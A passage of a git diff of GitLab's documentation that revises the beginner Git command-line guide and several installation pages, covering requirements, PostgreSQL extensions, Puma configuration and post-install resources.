Git terminology, you may want to jump directly -into the [basic commands](#basic-git-commands). +### Configure Git -### Namespace +To start using Git from your computer, you must enter your credentials +to identify yourself as the author of your work. The username and email address +should match the ones you use in GitLab. -A **namespace** is either a **user name** or a **group name**. +1. In your shell, add your user name: -For example, suppose Jo is a GitLab.com user and they chose their user name as -`jo`. You can see Jo's profile at `https://gitlab.com/jo`. `jo` is a namespace. + ```shell + git config --global user.name "your_username" + ``` -Jo also created a group in GitLab, and chose the path `test-group` for their -group. The group can be accessed under `https://gitlab.com/test-group`. `test-group` is a namespace. +1. Add your email address: -### Repository + ```shell + git config --global user.email "your_email_address@example.com" + ``` -Your files in GitLab live in a **repository**, similar to how you have them in a folder or -directory in your computer. **Remote** repository refers to the files in -GitLab and the copy in your computer is called **local** copy. -A **project** in GitLab is what holds a repository, which holds your files. +1. To check the configuration, run: -<!-- vale gitlab.Spelling = NO --> -<!-- vale gitlab.SubstitutionWarning = NO --> -Often, the word "repository" is shortened to "repo". -<!-- vale gitlab.Spelling = YES --> -<!-- vale gitlab.SubstitutionWarning = YES --> + ```shell + git config --global --list + ``` -### Fork + The `--global` option tells Git to always use this information for anything you do on your system. + If you omit `--global` or use `--local`, the configuration applies only to the current + repository. -When you want to copy someone else's repository, you [**fork**](../user/project/repository/forking_workflow.md#creating-a-fork) -the project. By forking it, you create a copy of the project into your own -namespace to have read and write permissions to modify the project files -and settings. +You can read more on how Git manages configurations in the +[Git configuration documentation](https://git-scm.com/book/en/v2/Customizing-Git-Git-Configuration). -For example, if you fork this project, <https://gitlab.com/gitlab-tests/sample-project/> into your namespace, you create your own copy of the repository in your namespace (`https://gitlab.com/your-namespace/sample-project/`). From there, you can clone it into your computer, -work on its files, and (optionally) submit proposed changes back to the -original repository if you'd like. +### Choose a repository -### Download vs clone +Before you begin, choose the repository you want to work in. You can use any project you have permission to +access on GitLab.com or any other GitLab instance. -To create a copy of a remote repository's files on your computer, you can either -**download** or **clone**. If you download, you cannot sync it with the -remote repository on GitLab. +To use the repository in the examples on this page: -[Cloning](#clone-a-repository) a repository is the same as downloading, except it preserves the Git connection -with the remote repository. This allows you to modify the files locally and -upload the changes to the remote repository on GitLab. +1. Go to [https://gitlab.com/gitlab-tests/sample-project/](https://gitlab.com/gitlab-tests/sample-project/). +1. In the top right, select **Fork**. +1. Choose a namespace for your fork. -### Pull and push +The project becomes available at `https://gitlab.com/<your-namespace>/sample-project/`. -After you saved a local copy of a repository and modified its files on your computer, you can upload the -changes to GitLab. This is referred to as **pushing** to GitLab, as this is achieved by the command -[`git push`](#send-changes-to-gitlabcom). +You can [fork](../user/project/repository/forking_workflow.md#creating-a-fork) any project you have access to. -When the remote repository changes, your local copy is behind it. You can update it with the new -changes in the remote repository. -This is referred to as **pulling** from GitLab, as this is achieved by the command -[`git pull`](#download-the-latest-changes-in-the-project). +## Clone a repository -## Basic Git commands +When you clone a repository, the files from the remote repository are downloaded to your computer, +and a connection is created. -For the purposes of this guide, we use this example project on GitLab.com: -[https://gitlab.com/gitlab-tests/sample-project/](https://gitlab.com/gitlab-tests/sample-project/). +This connection requires you to add credentials. You can either use SSH or HTTPS. SSH is recommended. -To use it, log into GitLab.com and fork the example project into your -namespace to have your own copy to playing with. Your sample -project is available under `https://gitlab.com/<your-namespace>/sample-project/`. +### Clone with SSH -You can also choose any other project to follow this guide. Then, replace the -example URLs with your own project's. +Clone with SSH when you want to authenticate only one time. -If you want to start by copying an existing GitLab repository onto your -computer, see how to [clone a repository](#clone-a-repository). On the other -hand, if you want to start by uploading an existing folder from your computer -to GitLab, see how to [convert a local folder into a Git repository](#convert-a-local-directory-into-a-repository). +1. Authenticate with GitLab by following the instructions in the [SSH documentation](../ssh/README.md). +1. Go to your project's landing page and select **Clone**. Copy the URL for **Clone with SSH**. +1. Open a terminal and go to the directory where you want to clone the files. Git automatically creates a folder with the repository name and downloads the files there. +1. Run this command: -### Clone a repository + ```shell + git clone git@gitlab.com:gitlab-tests/sample-project.git + ``` -To start working locally on an existing remote repository, clone it with the -command `git clone <repository path>`. You can either clone it via [HTTPS](#clone-via-https) -or [SSH](#clone-via-ssh), according to your preferred [authentication method](#git-authentication-methods). +1. To view the files, go to the new directory: -You can find both paths (HTTPS and SSH) by navigating to your project's landing page -and clicking **Clone**. GitLab prompts you with both paths, from which you can copy -and paste in your command line. You can also -[clone and open directly in Visual Studio Code](../user/project/repository/index.md#clone-and-open-in-apple-xcode). + ```shell + cd sample-project + ``` -For example, considering our [sample project](https://gitlab.com/gitlab-tests/sample-project/): +You can also +[clone a repository and open it directly in Visual Studio Code](../user/project/repository/index.md#clone-and-open-in-visual-studio-code). -- To clone through HTTPS, use `https://gitlab.com/gitlab-tests/sample-project.git`. -- To clone through SSH, use `git@gitlab.com:gitlab-tests/sample-project.git`. +### Clone with HTTPS -To get started, open a terminal window in the directory you wish to add the -repository files into, and run one of the `git clone` commands as described below. +Clone with HTTPS when you want to authenticate each time you perform an operation +between your computer and GitLab. -Both commands download a copy of the files in a folder named after the project's -name and preserve the connection with the remote repository. -You can then navigate to the new directory with `cd sample-project` and start working on it -locally. +1. Go to your project's landing page and select **Clone**. Copy the URL for **Clone with HTTPS**. +1. Open a terminal and go to the directory where you want to clone the files. +1. Run the following command. Git automatically creates a folder with the repository name and downloads the files there. + + ```shell + git clone https://gitlab.com/gitlab-tests/sample-project.git + ``` -#### Clone via HTTPS +1. GitLab requests your username and password: + - If you have 2FA enabled for your account, you must use a [Personal Access Token](../user/profile/personal_access_tokens.md) + with **read_repository** or **write_repository** permissions instead of your account's password. + - If you don't have 2FA enabled, use your account's password. -To clone `https://gitlab.com/gitlab-tests/sample-project/` via HTTPS: +1. To view the files, go to the new directory: -```shell -git clone https://gitlab.com/gitlab-tests/sample-project.git -``` + ```shell + cd sample-project + ``` NOTE: -On Windows, if you entered incorrect passwords multiple times and GitLab is responding `Access denied`, -you may have to add your namespace (user name or group name) to clone through HTTPS: +On Windows, if you enter your password incorrectly multiple times and an `Access denied` message appears, +add your namespace (username or group) to the path: `git clone https://namespace@gitlab.com/gitlab-org/gitlab.git`. -#### Clone via SSH - -To clone `git@gitlab.com:gitlab-org/gitlab.git` via SSH: - -```shell -git clone git@gitlab.com:gitlab-org/gitlab.git -``` - ### Convert a local directory into a repository -When you have your files in a local folder and want to convert it into -a repository, you must _initialize_ the folder through the `git init` -command. This instructs Git to begin to track that directory as a -repository. To do so, open the terminal on the directory you'd like to convert -and run: +You can initialize a local folder so Git tracks it as a repository. -```shell -git init -``` +1. Open the terminal in the directory you'd like to convert. +1. Run this command: -This command creates a `.git` folder in your directory that contains Git -records and configuration files. We advise against editing these files -directly. + ```shell + git init + ``` -Then, on the next step, add the [path to your remote repository](#add-a-remote-repository) -so that Git can upload your files into the correct project. + A `.git` folder is created in your directory. This folder contains Git + records and configuration files. You should not edit these files + directly. -#### Add a remote repository +1. Add the [path to your remote repository](#add-a-remote) + so Git can upload your files into the correct project. -By "adding a remote repository" to your local directory you tell Git that -the path to that specific project in GitLab corresponds to that specific -folder you have in your computer. This way, your local folder is -identified by Git as the local content for that specific remote project. +#### Add a remote -To add a remote repository to your local copy: +You add a "remote" to tell Git which remote repository in GitLab is tied +to the specific local folder on your computer. +The remote tells Git where to push or pull from. -1. In GitLab, [create a new project](../user/project/working_with_projects.md#create-a-project) to hold your files. +To add a remote to your local copy: + +1. In GitLab, [create a project](../user/project/working_with_projects.md#create-a-project) to hold your files. 1. Visit this project's homepage, scroll down to **Push an existing folder**, and copy the command that starts with `git remote add`. 1. On your computer, open the terminal in the directory you've initialized, paste the command you copied, and press <kbd>enter</kbd>: @@ -291,12 +265,22 @@ To add a remote repository to your local copy: After you've done that, you can [stage your files](#add-and-commit-local-changes) and [upload them to GitLab](#send-changes-to-gitlabcom). +#### View your remote repositories + +To view your remote repositories, type: + +```shell +git remote -v +``` + +The `-v` flag stands for verbose. + ### Download the latest changes in the project -To work on an up-to-date copy of the project (it is important to do this every time -you start working on a project), you `pull` to get all the changes made by users -since the last time you cloned or pulled the project. Use `master` for the -`<name-of-branch>` to get the main branch code, or the branch name of the branch +To work on an up-to-date copy of the project, you `pull` to get all the changes made by users +since the last time you cloned or pulled the project. Replace `<name-of-branch>` +with the name of your [default branch](../user/project/repository/branches/default.md) +to get the main branch code, or replace it with the branch name of the branch you are currently working in. ```shell @@ -305,189 +289,191 @@ git pull <REMOTE> <name-of-branch> When you clone a repository, `REMOTE` is typically `origin`. This is where the repository was cloned from, and it indicates the SSH or HTTPS URL of the repository -on the remote server. `<name-of-branch>` is usually `master`, but it may be any +on the remote server. `<name-of-branch>` is usually the name of your +[default branch](../user/project/repository/branches/default.md), but it may be any existing branch. You can create additional named remotes and branches as necessary. You can learn more on how Git manages remote repositories in the [Git Remote documentation](https://git-scm.com/book/en/v2/Git-Basics-Working-with-Remotes). -### View your remote repositories - -To view your remote repositories, type: - -```shell -git remote -v -``` - -The `-v` flag stands for verbose. +## Branches -## Branching +A **branch** is a copy of the files in the repository at the time you create the branch. +You can work in your branch without affecting other branches. When +you're ready to add your changes to the main codebase, you can merge your branch into +the default branch, for example, `main`. -If you want to add code to a project but you're not sure if it works properly, or you're -collaborating on the project with others, and don't want your work to get mixed up, it's a good idea -to work on a different **branch**. +Use branches when you: -When you create a branch in a Git repository, you make a copy of its files at the time of branching. You're free -to do whatever you want with the code in your branch without impacting the main branch or other branches. And when -you're ready to bring your changes to the main codebase, you can merge your branch into the default branch -used in your project (such as `master`). +- Want to add code to a project but you're not sure if it works properly. +- Are collaborating on the project with others, and don't want your work to get mixed up. A new branch is often called **feature branch** to differentiate from the -**default branch**. +[default branch](../user/project/repository/branches/default.md). ### Create a branch -To create a new feature branch and work from without affecting the `master` -branch: +To create a feature branch: ```shell git checkout -b <name-of-branch> ``` -Note that Git does **not** accept empty spaces and special characters in branch -names, so use only lowercase letters, numbers, hyphens (`-`), and underscores -(`_`). Do not use capital letters, as it may cause duplications. +Branch names cannot contain empty spaces and special characters. Use only lowercase letters, numbers, +hyphens (`-`), and underscores (`_`). -### Switch to the master branch +### Switch to a branch -You are always in a branch when working with Git. The main branch is the master -branch, but you can use the same command to switch to a different branch by -changing `master` to the branch name. +All work in Git is done in a branch. +You can switch between branches to see the state of the files and work in that branch. -```shell -git checkout master -``` - -### Work on an existing branch - -To switch to an existing branch, so you can work on it: +To switch to an existing branch: ```shell git checkout <name-of-branch> ``` -### View the changes you've made - -It's important to be aware of what's happening and the status of your changes. When -you add, change, or delete files/folders, Git knows about it. To check the status of -your changes: +For example, to change to the `main` branch: ```shell -git status +git checkout main ``` ### View differences -To view the differences between your local, unstaged changes and the repository versions -that you cloned or pulled, type: +To view the differences between your local unstaged changes and the latest version +that you cloned or pulled: ```shell git diff ``` -### Add and commit local changes +### View the files that have changes -Local changes are shown in red when you type `git status`. These changes may -be new, modified, or deleted files/folders. Use `git add` to first stage (prepare) -a local file/folder for committing. Then use `git commit` to commit (save) the staged -files: +When you add, change, or delete files or folders, Git knows about the changes. +To check which files have been changed: ```shell -git add <file-name OR folder-name> -git commit -m "COMMENT TO DESCRIBE THE INTENTION OF THE COMMIT" +git status ``` -#### Add all changes to commit +### Add and commit local changes + +When you type `git status`, locally changed files are shown in red. These changes may +be new, modified, or deleted files or folders. + +1. To stage a file for commit: + + ```shell + git add <file-name OR folder-name> + ``` + +1. Repeat step 1 for each file or folder you want to add. + Or, to stage all files in the current directory and subdirectory, type `git add .`. + +1. Confirm that the files have been added to staging: + + ```shell + git status + ``` -To add and commit (save) all local changes quickly: + The files should be displayed in green text. + +1. To commit the staged files: + + ```shell + git commit -m "COMMENT TO DESCRIBE THE INTENTION OF THE COMMIT" + ``` + +#### Stage and commit all changes + +As a shortcut, you can add all local changes to staging and commit them with one command: ```shell -git add . -git commit -m "COMMENT TO DESCRIBE THE INTENTION OF THE COMMIT" +git commit -a -m "COMMENT TO DESCRIBE THE INTENTION OF THE COMMIT" ``` -NOTE: -The `.` character means _all file changes in the current directory and all subdirectories_. - ### Send changes to GitLab.com -To push all local commits (saved changes) to the remote repository: +To push all local changes to the remote repository: ```shell git push <remote> <name-of-branch> ``` -For example, to push your local commits to the _`master`_ branch of the _`origin`_ remote: +For example, to push your local commits to the `main` branch of the `origin` remote: ```shell -git push origin master +git push origin main ``` -On certain occasions, Git disallows pushes to your repository, and then +Sometimes Git does not allow you to push to a repository. Instead, you must [force an update](../topics/git/git_rebase.md#force-push). -NOTE: -To create a merge request from a fork to an upstream repository, see the -[forking workflow](../user/project/repository/forking_workflow.md). - ### Delete all changes in the branch -To delete all local changes in the branch that have not been added to the staging -area, and leave unstaged files/folders, type: +To discard all changes to tracked files: ```shell git checkout . ``` -Note that this removes *changes* to files, not the files themselves. +This action removes *changes* to files, not the files themselves. +Untracked (new) files do not change. ### Unstage all changes that have been added to the staging area -To undo the most recently added, but not committed, changes to files/folders: +To unstage (remove) all files that have not been committed: ```shell -git reset . +git reset ``` ### Undo most recent commit -To undo the most recent commit, type: +To undo the most recent commit: ```shell git reset HEAD~1 ``` -This leaves the changed files and folders unstaged in your local repository. +This action leaves the changed files and folders unstaged in your local repository. WARNING: -A Git commit should not usually be reversed, particularly if you already pushed it +A Git commit should not be reversed if you already pushed it to the remote repository. Although you can undo a commit, the best option is to avoid the situation altogether by working carefully. -### Merge a branch with master branch +You can learn more about the different ways Git can undo changes in the +[Git Undoing Things documentation](https://git-scm.com/book/en/v2/Git-Basics-Undoing-Things). -When you are ready to make all the changes in a branch a permanent addition to -the master branch, you `merge` the two together: +### Merge a branch with default branch + +When you are ready to add your changes to +the default branch, you `merge` the two together: ```shell -git checkout <name-of-branch> -git merge master +git checkout <feature-branch> +git merge <default-branch> ``` +In GitLab, you typically use a [merge request](../user/project/merge_requests/) to merge your changes, instead of using the command line. + +To create a merge request from a fork to an upstream repository, see the +[forking workflow](../user/project/repository/forking_workflow.md). + ## Advanced use of Git through the command line For an introduction of more advanced Git techniques, see [Git rebase, force-push, and merge conflicts](../topics/git/git_rebase.md). ## Synchronize changes in a forked repository with the upstream -[Forking a repository](../user/project/repository/forking_workflow.md) lets you create -a copy of a repository in your namespace. Changes made to your copy of the repository -are not synchronized automatically with the original. -Your local fork (copy) contains changes made by you only, so to keep the project -in sync with the original project, you need to `pull` from the original repository. +To create a copy of a repository in your namespace, you [fork it](../user/project/repository/forking_workflow.md). +Changes made to your copy of the repository are not automatically synchronized with the original. +To keep the project in sync with the original project, you need to `pull` from the original repository. -You must [create a link to the remote repository](#add-a-remote-repository) to pull -changes from the original repository. It is common to call this remote the `upstream`. +You must [create a link to the remote repository](#add-a-remote) to pull +changes from the original repository. It is common to call this remote repository the `upstream`. You can now use the `upstream` as a [`<remote>` to `pull` new updates](#download-the-latest-changes-in-the-project) from the original repository, and use the `origin` diff --git a/doc/install/README.md b/doc/install/README.md index c815842480c..488d86f129d 100644 --- a/doc/install/README.md +++ b/doc/install/README.md @@ -1,5 +1,6 @@ --- redirect_to: 'index.md' +remove_date: '2021-05-11' --- This document was moved to [another location](index.md). diff --git a/doc/install/azure/index.md b/doc/install/azure/index.md index 2fca70fd07a..0d62e4d1215 100644 --- a/doc/install/azure/index.md +++ b/doc/install/azure/index.md @@ -315,7 +315,8 @@ To fix this, fetch the new GPG key: ```shell sudo apt install gpg-agent -curl "https://gitlab-org.gitlab.io/omnibus-gitlab/gitlab_new_gpg.key" --output /tmp/omnibus_gitlab_gpg.key +curl "https://gitlab-org.gitlab.io/omnibus-gitlab/gitlab_new_gpg.key" \ + --output /tmp/omnibus_gitlab_gpg.key sudo apt-key add /tmp/omnibus_gitlab_gpg.key ``` diff --git a/doc/install/google_cloud_platform/index.md b/doc/install/google_cloud_platform/index.md index 1b232c361ee..958f3e18c62 100644 --- a/doc/install/google_cloud_platform/index.md +++ b/doc/install/google_cloud_platform/index.md @@ -52,13 +52,13 @@ After a few seconds, the instance is created and available to log in. The next s  -1. Make a note of the IP address of the instance, as you will need that in a later step. <!-- using future tense is okay here --> +1. Make a note of the external IP address of the instance, as you will need that in a later step. <!-- using future tense is okay here --> 1. Click on the SSH button to connect to the instance. 1. A new window appears, with you logged into the instance.  -1. Next, follow the instructions for installing GitLab for the operating system you choose, at <https://about.gitlab.com/install/>. You can use the IP address from the step above, as the hostname. +1. Next, follow the instructions for installing GitLab for the operating system you choose, at <https://about.gitlab.com/install/>. You can use the external IP address you noted before as the hostname. 1. Congratulations! GitLab is now installed and you can access it via your browser. To finish installation, open the URL in your browser and provide the initial administrator password. The username for this account is `root`. diff --git a/doc/install/installation.md b/doc/install/installation.md index d6f8c9cedd3..572c6de18d0 100644 --- a/doc/install/installation.md +++ b/doc/install/installation.md @@ -24,7 +24,7 @@ they changed the location of directories or run services as the wrong user. If you find a bug/error in this guide, **submit a merge request** following the -[contributing guide](https://gitlab.com/gitlab-org/gitlab/blob/master/CONTRIBUTING.md). +[contributing guide](https://gitlab.com/gitlab-org/gitlab/-/blob/master/CONTRIBUTING.md). ## Consider the Omnibus package installation @@ -40,11 +40,20 @@ can't be terminated and its memory usage grows over time. ## Select a version to install -Make sure you view [this installation guide](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/install/installation.md) from the branch (version) of GitLab you would like to install (e.g., `11-7-stable`). +Make sure you view [this installation guide](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/install/installation.md) from the branch (version) of GitLab you would like to install (e.g., `11-7-stable`). You can select the branch in the version dropdown in the top left corner of GitLab (below the menu bar). If the highest number stable branch is unclear, check the [GitLab blog](https://about.gitlab.com/blog/) for installation guide links by version. +## Software requirements + +| Software | Minimum version | Notes | +| -------- | --------------- | ----- | +| [Ruby](#2-ruby) | `2.7` | From GitLab 13.6, Ruby 2.7 is required. Ruby 3.0 is not supported yet (see [the relevant epic](https://gitlab.com/groups/gitlab-org/-/epics/5149) for the current status). You must use the standard MRI implementation of Ruby. We love [JRuby](https://www.jruby.org/) and [Rubinius](https://github.com/rubinius/rubinius#the-rubinius-language-platform), but GitLab needs several Gems that have native extensions. | +| [Go](#3-go) | `1.15` | | +| [Git](#git) | `2.31.x` | From GitLab 13.11, Git 2.31.x and later is required. It's highly recommended that you use the [Git version provided by Gitaly](#git). | +| [Node.js](#4-node) | `12.22.1` | GitLab uses [webpack](https://webpack.js.org/) to compile frontend assets. Node.js 14.x is recommended, as it's faster. You can check which version you're running with `node -v`. You need to update it to a newer version if needed. | + ## GitLab directory structure This is the main directory structure you end up with following the instructions @@ -207,7 +216,7 @@ sudo apt-get install -y libimage-exiftool-perl ## 2. Ruby The Ruby interpreter is required to run GitLab. -See the [requirements page](requirements.md#ruby-versions) for the minimum +See the [requirements section of this page](#software-requirements) for the minimum Ruby requirements. The use of Ruby version managers such as [`RVM`](https://rvm.io/), [`rbenv`](https://github.com/rbenv/rbenv) or [`chruby`](https://github.com/postmodern/chruby) with GitLab @@ -283,7 +292,7 @@ sudo adduser --disabled-login --gecos 'GitLab' git ## 6. Database NOTE: -In GitLab 12.1 and later, only PostgreSQL is supported. In GitLab 13.0 and later, we [require PostgreSQL 11+](requirements.md#postgresql-requirements). +In GitLab 12.1 and later, only PostgreSQL is supported. In GitLab 14.0 and later, we [require PostgreSQL 12+](requirements.md#postgresql-requirements). 1. Install the database packages. @@ -536,7 +545,6 @@ sudo -u git -H editor config/resque.yml ``` Make sure to edit both `gitlab.yml` and `puma.rb` to match your setup. -If you want to use the Unicorn web server, see [Using Unicorn](#using-unicorn) for the additional steps. If you want to use HTTPS, see [Using HTTPS](#using-https) for the additional steps. @@ -640,7 +648,7 @@ You then need to update `gitlab.yml`'s `production -> elasticsearch -> indexer_p ### Install GitLab Pages -GitLab Pages uses [GNU Make](https://www.gnu.org/software/make/). This step is optional and only needed if you wish to host static sites from within GitLab. The following commands install GitLab Pages in `/home/git/gitlab-pages`. For additional setup steps, consult the [administration guide](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/administration/pages/source.md) for your version of GitLab as the GitLab Pages daemon can be run several different ways. +GitLab Pages uses [GNU Make](https://www.gnu.org/software/make/). This step is optional and only needed if you wish to host static sites from within GitLab. The following commands install GitLab Pages in `/home/git/gitlab-pages`. For additional setup steps, consult the [administration guide](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/administration/pages/source.md) for your version of GitLab as the GitLab Pages daemon can be run several different ways. ```shell cd /home/git @@ -987,24 +995,6 @@ You also need to change the corresponding options (e.g. `ssh_user`, `ssh_host`, Apart from the always supported Markdown style, there are other rich text files that GitLab can display. But you might have to install a dependency to do so. See the [`github-markup` gem README](https://github.com/gitlabhq/markup#markups) for more information. -### Using Unicorn - -As of GitLab 12.9, [Puma](https://github.com/puma/puma) has replaced Unicorn as the default web server for installations from source. -If you want to switch back to Unicorn, follow these steps: - -1. Finish the GitLab setup so you have it up and running. -1. Copy the supplied example Unicorn configuration file into place: - - ```shell - cd /home/git/gitlab - - # Copy config file for the web server - sudo -u git -H cp config/unicorn.rb.example config/unicorn.rb - ``` - -1. Edit the system `init.d` script and set `USE_WEB_SERVER="unicorn"`. If you have `/etc/default/gitlab`, then you should edit it instead. -1. Restart GitLab. - ### Using Sidekiq instead of Sidekiq Cluster As of GitLab 12.10, Source installations are using `bin/sidekiq-cluster` for managing Sidekiq processes. diff --git a/doc/install/next_steps.md b/doc/install/next_steps.md index 3e73da123fb..4e4f1f01a08 100644 --- a/doc/install/next_steps.md +++ b/doc/install/next_steps.md @@ -9,26 +9,32 @@ info: To determine the technical writer assigned to the Stage/Group associated w Here are a few resources you might want to check out after completing the installation. -## License +## Email and notifications -- [Upload a license](../user/admin_area/license.md) or [start a free trial](https://about.gitlab.com/free-trial/): - Activate all GitLab Enterprise Edition functionality with a license. -- [Pricing](https://about.gitlab.com/pricing/): Pricing for the different tiers. +- [SMTP](https://docs.gitlab.com/omnibus/settings/smtp.html): Configure SMTP + for proper email notifications support. + +## CI/CD + +- [Set up runners](https://docs.gitlab.com/runner/): Set up one or more GitLab + Runners, the agents that are responsible for all of the GitLab CI/CD features. +- [GitLab Pages](../administration/pages/index.md): Configure GitLab Pages to + allow hosting of static sites. +- [GitLab Registry](../administration/packages/container_registry.md): With the + GitLab Container Registry, every project can have its own space to store Docker + images. ## Security - [Secure GitLab](../security/README.md#securing-your-gitlab-installation): Recommended practices to secure your GitLab instance. +- Sign up for the GitLab [Security Newsletter](https://about.gitlab.com/company/preference-center/) to get notified for security updates upon release. ## Authentication - [LDAP](../administration/auth/ldap/index.md): Configure LDAP to be used as an authentication mechanism for GitLab. - -## Email and notifications - -- [SMTP](https://docs.gitlab.com/omnibus/settings/smtp.html): Configure SMTP - for proper email notifications support. +- [SAML and OAuth](../integration/omniauth.md): Authenticate via online services like Okta, Google, Azure AD, and more. ## Backup and upgrade @@ -40,15 +46,16 @@ installation. policies governing version naming, as well as release pace for major, minor, patch, and security releases. -## CI/CD +## License -- [Set up runners](https://docs.gitlab.com/runner/): Set up one or more GitLab - Runners, the agents that are responsible for all of the GitLab CI/CD features. -- [GitLab Pages](../administration/pages/index.md): Configure GitLab Pages to - allow hosting of static sites. -- [GitLab Registry](../administration/packages/container_registry.md): With the - GitLab Container Registry, every project can have its own space to store Docker - images. +- [Upload a license](../user/admin_area/license.md) or [start a free trial](https://about.gitlab.com/free-trial/): + Activate all GitLab Enterprise Edition functionality with a license. +- [Pricing](https://about.gitlab.com/pricing/): Pricing for the different tiers. + +## Cross-repo Code Search + +- [Advanced Search](../integration/elasticsearch.md): Leverage Elasticsearch for + faster, more advanced code search across your entire GitLab instance. ## Scaling and replication @@ -56,8 +63,3 @@ installation. GitLab supports several different types of clustering. - [Geo replication](../administration/geo/index.md): Geo is the solution for widely distributed development teams. - -## Search - -- [Advanced Search](../integration/elasticsearch.md): Leverage Elasticsearch for - faster, more advanced code search across your entire GitLab instance. diff --git a/doc/install/postgresql_extensions.md b/doc/install/postgresql_extensions.md index 663ec547733..80bbb0671b9 100644 --- a/doc/install/postgresql_extensions.md +++ b/doc/install/postgresql_extensions.md @@ -54,7 +54,19 @@ In order to install a PostgreSQL extension, this procedure should be followed: On some systems you may need to install an additional package (for example, `postgresql-contrib`) for certain extensions to become available. -## A typical migration failure scenario +## Typical failure scenarios + +The following is an example of a new GitLab installation failing because the extension hasn't been +installed first. + +```shell +---- Begin output of "bash" "/tmp/chef-script20210513-52940-d9b1gs" ---- +STDOUT: psql:/opt/gitlab/embedded/service/gitlab-rails/db/structure.sql:9: ERROR: permission denied to create extension "btree_gist" +HINT: Must be superuser to create this extension. +rake aborted! +failed to execute: +psql -v ON_ERROR_STOP=1 -q -X -f /opt/gitlab/embedded/service/gitlab-rails/db/structure.sql --single-transaction gitlabhq_production +``` The following is an example of a situation when the extension hasn't been installed before running migrations. In this scenario, the database migration fails to create the extension `btree_gist` because of insufficient @@ -79,5 +91,9 @@ This query will grant the user superuser permissions, ensuring any database exte can be installed through migrations. ``` -In order to recover from this situation, the extension needs to be installed manually using a superuser, and -the database migration (or GitLab upgrade) can be retried afterwards. +To recover from failed migrations, the extension must be installed manually by a superuser, and the +GitLab upgrade completed by [re-running the database migrations](../administration/raketasks/maintenance.md#run-incomplete-database-migrations): + +```shell +sudo gitlab-rake db:migrate +``` diff --git a/doc/install/relative_url.md b/doc/install/relative_url.md index d04f55c43a3..8b629e9084e 100644 --- a/doc/install/relative_url.md +++ b/doc/install/relative_url.md @@ -29,7 +29,7 @@ relative URL is: - `/home/git/gitlab/config/initializers/relative_url.rb` - `/home/git/gitlab/config/gitlab.yml` -- `/home/git/gitlab/config/unicorn.rb` +- `/home/git/gitlab/config/puma.rb` - `/home/git/gitlab-shell/config.yml` - `/etc/default/gitlab` @@ -88,7 +88,7 @@ Make sure to follow all steps below: relative_url_root: /gitlab ``` -1. Edit `/home/git/gitlab/config/unicorn.rb` and uncomment/change the +1. Edit `/home/git/gitlab/config/puma.rb` and uncomment/change the following line: ```ruby diff --git a/doc/install/requirements.md b/doc/install/requirements.md index 926af1795b9..3a8b7bf1004 100644 --- a/doc/install/requirements.md +++ b/doc/install/requirements.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Requirements **(FREE SELF)** +# Installation requirements **(FREE SELF)** This page includes useful information on the supported Operating Systems as well as the hardware requirements that are needed to install and use GitLab. @@ -17,7 +17,7 @@ as the hardware requirements that are needed to install and use GitLab. - Ubuntu (16.04/18.04/20.04) - Debian (9/10) - CentOS (7/8) -- openSUSE Leap (15.1/15.2) +- openSUSE Leap (15.2) - SUSE Linux Enterprise Server (12 SP2/12 SP5) - Red Hat Enterprise Linux (please use the CentOS packages and instructions) - Scientific Linux (please use the CentOS packages and instructions) @@ -47,55 +47,6 @@ Please consider using a virtual machine to run GitLab. ## Software requirements -### Ruby versions - -From GitLab 13.6: - -- Ruby 2.7 and later is required. - -From GitLab 12.2: - -- Ruby 2.6 and later is required. - -You must use the standard MRI implementation of Ruby. -We love [JRuby](https://www.jruby.org/) and [Rubinius](https://github.com/rubinius/rubinius#the-rubinius-language-platform), but GitLab -needs several Gems that have native extensions. - -### Go versions - -The minimum required Go version is 1.13. - -### Git versions - -From GitLab 13.11: - -- Git 2.31.x and later is required. We recommend you use the - [Git version provided by Gitaly](installation.md#git). - -From GitLab 13.6: - -- Git 2.29.x and later is required. - -From GitLab 13.1: - -- Git 2.24.x and later is required. -- Git 2.28.x and later [is recommended](https://gitlab.com/gitlab-org/gitaly/-/issues/2959). - -### Node.js versions - -Beginning in GitLab 12.9, we only support Node.js 10.13.0 or higher, and we have dropped -support for Node.js 8. (Node.js 6 support was dropped in GitLab 11.8) - -We recommend Node 14.x, as it's faster. - -GitLab uses [webpack](https://webpack.js.org/) to compile frontend assets, which requires a minimum -version of Node.js 10.13.0. - -You can check which version you're running with `node -v`. If you're running -a version older than `v10.13.0`, you need to update it to a newer version. You -can find instructions to install from community maintained packages or compile -from source at the [Node.js website](https://nodejs.org/en/download/). - ### Redis versions GitLab 13.0 and later requires Redis version 4.0 or higher. @@ -165,14 +116,16 @@ the following table) as these were used for development and testing: |----------------|----------------------------| | 10.0 | 9.6 | | 13.0 | 11 | +| 14.0 | 12 | -You must also ensure the following extensions are [loaded into every -GitLab database](postgresql_extensions.html): +You must also ensure the following extensions are loaded into every +GitLab database. [Read more about this requirement, and troubleshooting](postgresql_extensions.md). | Extension | Minimum GitLab version | | ------------ | ---------------------- | | `pg_trgm` | 8.6 | | `btree_gist` | 13.1 | +| `plpgsql` | 11.7 | NOTE: Support for [PostgreSQL 9.6 and 10 was removed in GitLab 13.0](https://about.gitlab.com/releases/2020/05/22/gitlab-13-0-released/#postgresql-11-is-now-the-minimum-required-version-to-install-gitlab) so that GitLab can benefit from PostgreSQL 11 improvements, such as partitioning. For the schedule of transitioning to PostgreSQL 12, see [the related epic](https://gitlab.com/groups/gitlab-org/-/epics/2184). @@ -185,6 +138,35 @@ test based on those. We try to be compatible with most external (not managed by Omnibus GitLab) databases (for example, [AWS Relational Database Service (RDS)](https://aws.amazon.com/rds/)), but we can't guarantee compatibility. +#### Gitaly Cluster database requirements + +[Read more in the Gitaly Cluster documentation](../administration/gitaly/praefect.md). + +#### Exclusive use of GitLab databases + +Databases created or used for GitLab, Geo, Gitaly Cluster, or other components should be for the +exclusive use of GitLab. Do not make direct changes to the database, schemas, users, or other +properties except when following procedures in the GitLab documentation or following the directions +of GitLab Support or other GitLab engineers. + +- The main GitLab application currently uses three schemas: + + - The default `public` schema + - `gitlab_partitions_static` (automatically created) + - `gitlab_partitions_dynamic` (automatically created) + + No other schemas should be manually created. + +- GitLab may create new schemas as part of Rails database migrations. This happens when performing + a GitLab upgrade. The GitLab database account requires access to do this. + +- GitLab creates and modifies tables during the upgrade process, and also as part of normal + operations to manage 